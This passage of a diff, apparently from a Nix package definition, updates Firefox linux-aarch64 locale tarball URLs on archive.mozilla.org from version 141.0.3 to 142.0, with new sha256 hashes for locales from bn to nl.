+      sha256 = "e0fa0a3da4022eb228e5b6ded0324a59938cec400de5461d1be5d5f2844fac8c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/bn/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/bn/firefox-142.0.tar.xz";
       locale = "bn";
       arch = "linux-aarch64";
-      sha256 = "0f3592b56f68c06d8d6b4ebf45341a1c0945e55c81987524f165cd5bfeddc4a0";
+      sha256 = "c0f470687739dd099296b664e97b582c9b54f9d83cd99fbb64dcf114cb98adab";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/br/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/br/firefox-142.0.tar.xz";
       locale = "br";
       arch = "linux-aarch64";
-      sha256 = "93cac00cc172b45dd03151b9776f28e200c6e92bd08982a2f5eaa8e0a4cd8993";
+      sha256 = "a5afacdca244c2044695da260d359a647f091d474d8704545182feacadd697f5";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/bs/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/bs/firefox-142.0.tar.xz";
       locale = "bs";
       arch = "linux-aarch64";
-      sha256 = "d06332ab198ede6f464e2f7b99e6a7c8f65aa5e160e80b1e2e899f89b1bc717f";
+      sha256 = "eac78aa0b1f88a66c336b043c04c6fcdb14e09cdacb0bace8d48de3942ed1f81";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/ca-valencia/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/ca-valencia/firefox-142.0.tar.xz";
       locale = "ca-valencia";
       arch = "linux-aarch64";
-      sha256 = "5573bbe4cfd9ed779c6b05278ddc04ca33cdbb5078e4960cbb14d97ca8c94388";
+      sha256 = "2c14efe0da3508e682c991f528807976adde36d3c56c9e9d814010303054bfba";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/ca/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/ca/firefox-142.0.tar.xz";
       locale = "ca";
       arch = "linux-aarch64";
-      sha256 = "334140317e51df90cfa4240841976f8956d5297f7a0cc3e26c3ced83bba49e7b";
+      sha256 = "4a49d515e6231d51903a00069e0106c6f3d4d78c8f3b1b43b2a94975d837b0d1";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/cak/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/cak/firefox-142.0.tar.xz";
       locale = "cak";
       arch = "linux-aarch64";
-      sha256 = "82384a3d8bfa3ba7e6c8c0bad3161b0d877e6be46454347afe821d435d56105d";
+      sha256 = "39415622252bfd8b1b4f795d6b74e521a97a887c6211c19c0dbf477544675f16";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/cs/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/cs/firefox-142.0.tar.xz";
       locale = "cs";
       arch = "linux-aarch64";
-      sha256 = "b76019fc1806796e66a56733723eedd85a6f421e5c238d9ced49db26e961e72b";
+      sha256 = "94eaf875ca330412ff223e6333b710f8c63950ef54d2140f67060d2f09363b95";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/cy/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/cy/firefox-142.0.tar.xz";
       locale = "cy";
       arch = "linux-aarch64";
-      sha256 = "f0d42e136cde6e89af9e7115cbe47bef980db0125fd8287468d136aa4342b576";
+      sha256 = "4583973505b11b311e9e42eed0a1c144e3e64def4151ae9be63b06231c8d7ddb";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/da/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/da/firefox-142.0.tar.xz";
       locale = "da";
       arch = "linux-aarch64";
-      sha256 = "246b1504a4aff20e85f905563f04db4db698623eee3476e3c2463690bfc79fa5";
+      sha256 = "772da9d37468600612cc931ec57e1b0a27ee0793964f9e2fd277524a02a5be6d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/de/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/de/firefox-142.0.tar.xz";
       locale = "de";
       arch = "linux-aarch64";
-      sha256 = "26954e7967e8250dc671d35cd763ed93071f953af82cb47fd147f616f98af9a9";
+      sha256 = "c08668457c6067c54ef68b9965c427ea50121f28a5660ec17b2a037c4ee6ce4e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/dsb/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/dsb/firefox-142.0.tar.xz";
       locale = "dsb";
       arch = "linux-aarch64";
-      sha256 = "db91fe77c8bbbb1ffaee18019620f1ce1d95237d3b1a2bc97d18938b5ab0711c";
+      sha256 = "10cddf31b30e0481098e550a8ac3ea22320d49b8b57c35e7fc8220c07e5e1432";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/el/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/el/firefox-142.0.tar.xz";
       locale = "el";
       arch = "linux-aarch64";
-      sha256 = "8127b968f34d1e38d67d5e9287927a1d494b1879f3d24f89712f1b0df02f106f";
+      sha256 = "d6cb9fefe36ee2631a33dd8a689fe071c582c2922aa18cb99b84179e7c17c906";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/en-CA/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/en-CA/firefox-142.0.tar.xz";
       locale = "en-CA";
       arch = "linux-aarch64";
-      sha256 = "3605917655d75096a80dcb9db271bf268d3327fe2ebda0235aea2d22537949eb";
+      sha256 = "c7215bb67c8fd0435de197343929feeb988b32dc5054961d427bed7cf18e7843";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/en-GB/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/en-GB/firefox-142.0.tar.xz";
       locale = "en-GB";
       arch = "linux-aarch64";
-      sha256 = "cdcf3d691840efb370a96bed1f1bf7a32174e413d1e16ac2ed55460f0143902c";
+      sha256 = "d8afd1cee7a075b2e3aba4130556b0ef745a101514772e4871a790126bef0fa3";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/en-US/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/en-US/firefox-142.0.tar.xz";
       locale = "en-US";
       arch = "linux-aarch64";
-      sha256 = "03ab7f03538b642693f91bc935f55d9eb6df089eac520a65e1e34dc4fdd7049a";
+      sha256 = "87e9fcaecaef101d7a0910ba8960d4b72b5b4ae91fd4e08069088d3c06f9a792";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/eo/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/eo/firefox-142.0.tar.xz";
       locale = "eo";
       arch = "linux-aarch64";
-      sha256 = "f2316fc6e0a1a747ddaa6b7d88ab335d2058cb4ea223f40533744658240057b3";
+      sha256 = "0f7eb84df2f80ebed50cfd35ca0b465533df91f4c009caabbb895ea45f0a5927";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/es-AR/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/es-AR/firefox-142.0.tar.xz";
       locale = "es-AR";
       arch = "linux-aarch64";
-      sha256 = "82305a617d919fe05bb24530fab0a4e059f410664791c160883f9806453fa9b9";
+      sha256 = "be2b1f74b1ec841c167ea62c732b2969bb2ceed7835485c66b70235e768ad38b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/es-CL/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/es-CL/firefox-142.0.tar.xz";
       locale = "es-CL";
       arch = "linux-aarch64";
-      sha256 = "7502b51099ae36c95cc0486b0f0722f4c4d2b02f4d54f13294ff59d05678324b";
+      sha256 = "438b35e8dbe285acf0208a113c919de2bac2a5a1556f770becfbe5ab62db3ac3";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/es-ES/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/es-ES/firefox-142.0.tar.xz";
       locale = "es-ES";
       arch = "linux-aarch64";
-      sha256 = "8af4cec2229bb371c29e402e5765412b18b5b971a49960a8d7634cbf01aaa9ad";
+      sha256 = "8df9d6bf6834f9b0a1b168ccd4804f574c141845868a0f3d3ed93f244762236d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/es-MX/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/es-MX/firefox-142.0.tar.xz";
       locale = "es-MX";
       arch = "linux-aarch64";
-      sha256 = "65d1dc229e64e9fab6e1feedea5a6cf18a5322c6854d09ad4a5f7ae9ba751a59";
+      sha256 = "bbc54fa49c4c017c3efdbbf71bef0f2bd60fcb16ea41cb1661c975e47f8af613";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/et/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/et/firefox-142.0.tar.xz";
       locale = "et";
       arch = "linux-aarch64";
-      sha256 = "c1f9fb45a269025505713179578de8d099a6f2297f3f4a3de28928ec2c04ebb8";
+      sha256 = "2a8f2f360892612346f8cd683578d304a181ca802806d4c93a90e74db2cf697a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/eu/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/eu/firefox-142.0.tar.xz";
       locale = "eu";
       arch = "linux-aarch64";
-      sha256 = "cbe476b6a6e28050e1b2a7fe6e0e5c804076ee23f298778541e75b748f715a2b";
+      sha256 = "530b8f2f515bd836bd81029f5bfd3f6ecf5efcece3b403b7e2ea164d1bcfc7c2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/fa/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/fa/firefox-142.0.tar.xz";
       locale = "fa";
       arch = "linux-aarch64";
-      sha256 = "02a57b863cf369c783395e02453edef5d351c08d3f19a399eb1d056d769163c2";
+      sha256 = "9c13f47698960fd988e33cf73aac95ab53d19a0280dac046212098aab0f5993d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/ff/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/ff/firefox-142.0.tar.xz";
       locale = "ff";
       arch = "linux-aarch64";
-      sha256 = "c729d78512a7bef8328791f36077d8b991e6424a5dfe778aeccd1e0790e8b20f";
+      sha256 = "234c28101a09410237efec148403d98dbf8a7d50399884470d14d22fa72401ad";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/fi/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/fi/firefox-142.0.tar.xz";
       locale = "fi";
       arch = "linux-aarch64";
-      sha256 = "2cce8db24a3308396d50eaf9663950f222747ae34e639445bbae64c1cb94d6ac";
+      sha256 = "0574523f4c7881cb49ebcd5f3c403c49fc4fbe8babb89bac1385bf66fbea21d9";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/fr/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/fr/firefox-142.0.tar.xz";
       locale = "fr";
       arch = "linux-aarch64";
-      sha256 = "cdf837780a11c3b0f2acb8382162ab10d67eece7962930497ae2cb30c2e7cd75";
+      sha256 = "47faa421fc46ce686199ab409f1a91702d814a54afb796cf953d9f038e13d84a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/fur/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/fur/firefox-142.0.tar.xz";
       locale = "fur";
       arch = "linux-aarch64";
-      sha256 = "0e9cb8fa64b6ca14260c8a0e0ad2906414bba9721366d832e4bce995b36e387f";
+      sha256 = "65ef962f924981c0c5b81d7cb61509a4c20743d326a6fdd3c2f714264982e9f7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/fy-NL/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/fy-NL/firefox-142.0.tar.xz";
       locale = "fy-NL";
       arch = "linux-aarch64";
-      sha256 = "29726f35cdb7bfbcf1777a5b56dcb61f0fe4f4afa958d096b9945119792bb9e0";
+      sha256 = "355921a6a67974579e7d0fdc541da2c62fc6a44abaccc7678205b42c30461fd7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/ga-IE/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/ga-IE/firefox-142.0.tar.xz";
       locale = "ga-IE";
       arch = "linux-aarch64";
-      sha256 = "87c73b2c2cbbb0a4185b18e2bec8ef9ef762e1cdb6bd68a1c55e24c7993fcf65";
+      sha256 = "08370294b653805b778305f5b4b2384dfd5aad8ee0d5043d986a310ef39e80cd";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/gd/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/gd/firefox-142.0.tar.xz";
       locale = "gd";
       arch = "linux-aarch64";
-      sha256 = "94572640d1c89b3e8e266f4e5c26644d83fbdfd7380995988427cdc173e2bd1c";
+      sha256 = "c7928d2efb173d6f46e05a1793293ab483e67a52cdadf781d7e64775b9cdf290";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/gl/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/gl/firefox-142.0.tar.xz";
       locale = "gl";
       arch = "linux-aarch64";
-      sha256 = "dfd1b843908d7a17583e140883317609f9c86e9850388e6985b83b1515dc87c2";
+      sha256 = "217b6b4a910d7d33ed011d3d4d0adac74e3db69f7c3088ac268a808be5576df8";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/gn/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/gn/firefox-142.0.tar.xz";
       locale = "gn";
       arch = "linux-aarch64";
-      sha256 = "50efc231c9607aa0baa091df45143ae4bfc645695684efbfc82cc68f135c3dea";
+      sha256 = "7144379cd5ebc4e19ab91a4e5a3b390e0cb7275e84aeb85522ba7644b5286d5f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/gu-IN/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/gu-IN/firefox-142.0.tar.xz";
       locale = "gu-IN";
       arch = "linux-aarch64";
-      sha256 = "709c3e0e38ae4261715cc7ca871342f5211fbcf71ab51d510b1aeaa953ffc01e";
+      sha256 = "8171ad64962c12ac04cb587e034ca4aa4f7a6f149fde4a550089d11e86feb02c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/he/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/he/firefox-142.0.tar.xz";
       locale = "he";
       arch = "linux-aarch64";
-      sha256 = "b9dd29b4d4abb10005afc05a6700c8b333378ad7e6c68eb9d8a5d57d6b351404";
+      sha256 = "520c8c5d73446acff1be53b3074b8eaff36ef4ac86a2d9f8eca8896fba9e1adb";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/hi-IN/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/hi-IN/firefox-142.0.tar.xz";
       locale = "hi-IN";
       arch = "linux-aarch64";
-      sha256 = "44d8996aa7e92ca6e17ecc511a962d3572318c7e280386f4df464266e89bfe36";
+      sha256 = "fbac4dc5986683415376b40533718939cc422a311e96e6f2527c373fece43b70";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/hr/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/hr/firefox-142.0.tar.xz";
       locale = "hr";
       arch = "linux-aarch64";
-      sha256 = "2c90c13a0843950573365bbdaca112561faaa43f3061ff758df7dd36cbb111ef";
+      sha256 = "aff866ae27f3af64a14012804284dab259907a7aeef823472a8cb00491abb8ab";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/hsb/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/hsb/firefox-142.0.tar.xz";
       locale = "hsb";
       arch = "linux-aarch64";
-      sha256 = "dc2bd48cb76bf95781ad99a2c522afd6374ba38efdb6da33305e15bd303dd0d2";
+      sha256 = "098951c958676a45c040f32b70c4fd74643590c71c64e91fb978e19c0969bbd9";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/hu/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/hu/firefox-142.0.tar.xz";
       locale = "hu";
       arch = "linux-aarch64";
-      sha256 = "71ff53f966cc51dbd9a535e59a9581430da1b3e322b7fe21c2236860a3002123";
+      sha256 = "a1208d82260716e1088038c049706de1a170bd38502192ce730a81dcd267a4af";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/hy-AM/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/hy-AM/firefox-142.0.tar.xz";
       locale = "hy-AM";
       arch = "linux-aarch64";
-      sha256 = "9bd57c68c4c3fbace372b3c7dee336fbe8105a929a43dc1f3a932cef0d15ec5d";
+      sha256 = "be24f9a17f4f40ac9138f370d73476d6e0d8415628ff97619ac8423439adc83b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/ia/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/ia/firefox-142.0.tar.xz";
       locale = "ia";
       arch = "linux-aarch64";
-      sha256 = "ef1528140dc1f5e9f4c4a3d094989d2d2bf1101410058c04a34b3342e67d7f89";
+      sha256 = "3c63bf9838f496103111b7782141146a2fa9b547339237bb4c360a3dce72cc51";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/id/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/id/firefox-142.0.tar.xz";
       locale = "id";
       arch = "linux-aarch64";
-      sha256 = "e9754510da65f230f9cc7271eb65a2e963e5fdabbd52551c0e45ddba2601ac21";
+      sha256 = "71a2998d91311dce30d751c6ab4003b486cd2fb5a18afbeb5101bb331a80575c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/is/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/is/firefox-142.0.tar.xz";
       locale = "is";
       arch = "linux-aarch64";
-      sha256 = "8a2ac7612025066af5b510c45174908891f9564ba929ce7d610cca2853cca383";
+      sha256 = "d628774dcb2a688c814b5392089dfe8fc64a571fd999ad20b16d7a85f074a824";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/it/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/it/firefox-142.0.tar.xz";
       locale = "it";
       arch = "linux-aarch64";
-      sha256 = "85e6227dbc2fc677eb09f8342b2d7998e95eb7be31e0c1731b091470a9c95f1d";
+      sha256 = "6d8c5f736cf3cb6f8f6a2639046fdb239375018723a6a969797c4efd274fb8ac";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/ja/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/ja/firefox-142.0.tar.xz";
       locale = "ja";
       arch = "linux-aarch64";
-      sha256 = "1ef1caf9e57697552fa12bf34f55b0d16badc8f777bbecfb71595033f38f907d";
+      sha256 = "2eec4ae4b50140c0840ac64f488b6d773286f8eacc5a0b5de67bd61bb3bdf45e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/ka/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/ka/firefox-142.0.tar.xz";
       locale = "ka";
       arch = "linux-aarch64";
-      sha256 = "a15891832d9a4b3292ddea9af8f00f3236f8d86e449d25ca6304d9443562701d";
+      sha256 = "4234f52cea786501b4468866de61823d2a58c2e7b04044952162e355c37c2794";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/kab/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/kab/firefox-142.0.tar.xz";
       locale = "kab";
       arch = "linux-aarch64";
-      sha256 = "5666b4d761937363129e65e562a4add2544a15d9cc1bcfca9187e7c925fa3055";
+      sha256 = "a857604db9120c0c59197119412b56f22edab243e8f22149b68f8061c38c12f3";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/kk/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/kk/firefox-142.0.tar.xz";
       locale = "kk";
       arch = "linux-aarch64";
-      sha256 = "44aa7cf2dd4234ea2906cb13ac699049d24024f4ea8861a436ca262ac18474b5";
+      sha256 = "0bb4d7bf1ae1f19e9170bd1ab3ea8b2f1523cf18e321d09da732e4e810eaacd7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/km/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/km/firefox-142.0.tar.xz";
       locale = "km";
       arch = "linux-aarch64";
-      sha256 = "ae88cb2e0238b0202f70e69f67308ce8a690cd34fa9dd40d7f21b95060029a60";
+      sha256 = "89d718b75e60bc77a59d2ad9bf54ef344840d839458685d35c4198b2930edd35";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/kn/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/kn/firefox-142.0.tar.xz";
       locale = "kn";
       arch = "linux-aarch64";
-      sha256 = "9bcd17d43243bf9839ea796449191f964fe4c267d6567c86e478f366996922f6";
+      sha256 = "45a202d8bf61e84b18dc4a3ae1cdf44223c1cd20db818f67eeb85e37502ba994";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/ko/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/ko/firefox-142.0.tar.xz";
       locale = "ko";
       arch = "linux-aarch64";
-      sha256 = "ad75f49db29cbf6d0c6a1b0fcf5e7d4f477d5d82379d63d0dce1e76afabcc27b";
+      sha256 = "4b92105ca489eefdd704c064c2c5523cae1aa26f184ffc0d19f2906cee524763";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/lij/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/lij/firefox-142.0.tar.xz";
       locale = "lij";
       arch = "linux-aarch64";
-      sha256 = "a4ee74dd89f18f4758a5461526e56cfcf77e376d6b84ed98c9d275e803468226";
+      sha256 = "ffd65e7718936007a810f6a4c1e9e74e8e0adfa5ce4a26e178f63f6014c91d34";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/lt/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/lt/firefox-142.0.tar.xz";
       locale = "lt";
       arch = "linux-aarch64";
-      sha256 = "c7df8dff34ea79431f0495c22700b770153b78477dee659257220b5f6a6bfc0c";
+      sha256 = "d4da8603b69d68f1038639e08c4a194bc5bfd76e8d0b32935756ff3ae0e00e0c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/lv/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/lv/firefox-142.0.tar.xz";
       locale = "lv";
       arch = "linux-aarch64";
-      sha256 = "97f1f668140b6d6b16d0553181d0563759c2fe9f3678e81ddf5a23291efaef47";
+      sha256 = "d81de18d78a7248d12936677b1dfb5ed8a57747629473a970e770e9846857c41";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/mk/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/mk/firefox-142.0.tar.xz";
       locale = "mk";
       arch = "linux-aarch64";
-      sha256 = "d1d56e22c94c19e5eee4641831a26662517b44ed73f67ad4cb19211fa6446fd5";
+      sha256 = "982d6323bc2e209676730915927bfe55b7566a5cc257ab4728f1ffd68e683234";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/mr/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/mr/firefox-142.0.tar.xz";
       locale = "mr";
       arch = "linux-aarch64";
-      sha256 = "a1536650e550302cb646cf45e712248e9204b2c4ace47d601f52fc42b0713b26";
+      sha256 = "f4099bcc77d2b47a83ab8ab66877929c07d17bdf01b01c5d8a5b964999f57602";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/ms/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/ms/firefox-142.0.tar.xz";
       locale = "ms";
       arch = "linux-aarch64";
-      sha256 = "26621924fd72fd7a4356aa84584fb0fec9b039e45afab7ef0c0aa58f80957b7c";
+      sha256 = "80dd31200a7dd25c8605c7a277c8b6bba95b880e4cf8667cfae28db0676652c3";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/my/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/my/firefox-142.0.tar.xz";
       locale = "my";
       arch = "linux-aarch64";
-      sha256 = "e9ea39c1adce409ce59e2d2d880713a0c1e1ddb0aaaaa19e65f7cf966b9f23f7";
+      sha256 = "d7f5a009caf96bdd36bedf32aa303d370bc242b258d13670550104493ec631cd";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/nb-NO/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/nb-NO/firefox-142.0.tar.xz";
       locale = "nb-NO";
       arch = "linux-aarch64";
-      sha256 = "a41b45543fd81390aa795d3e153a0618e95586ea1a799906aeb501d36223deb0";
+      sha256 = "f36e746068f472c8d41201a85a32cb3cae088ba7c5a09b8b14d9b438a31d3f62";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/ne-NP/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/ne-NP/firefox-142.0.tar.xz";
       locale = "ne-NP";
       arch = "linux-aarch64";
-      sha256 = "79c1e414427fd4234f5939a9966d417780ad2a82729c6393dc8207664df557d1";
+      sha256 = "610a3b97b32376952838a9719b126e5e571d144865c2ad3b18cb51fd8c538418";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/linux-aarch64/nl/firefox-141.0.3.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/linux-aarch64/nl/firefox-142.0.tar.xz";
       locale = "nl";
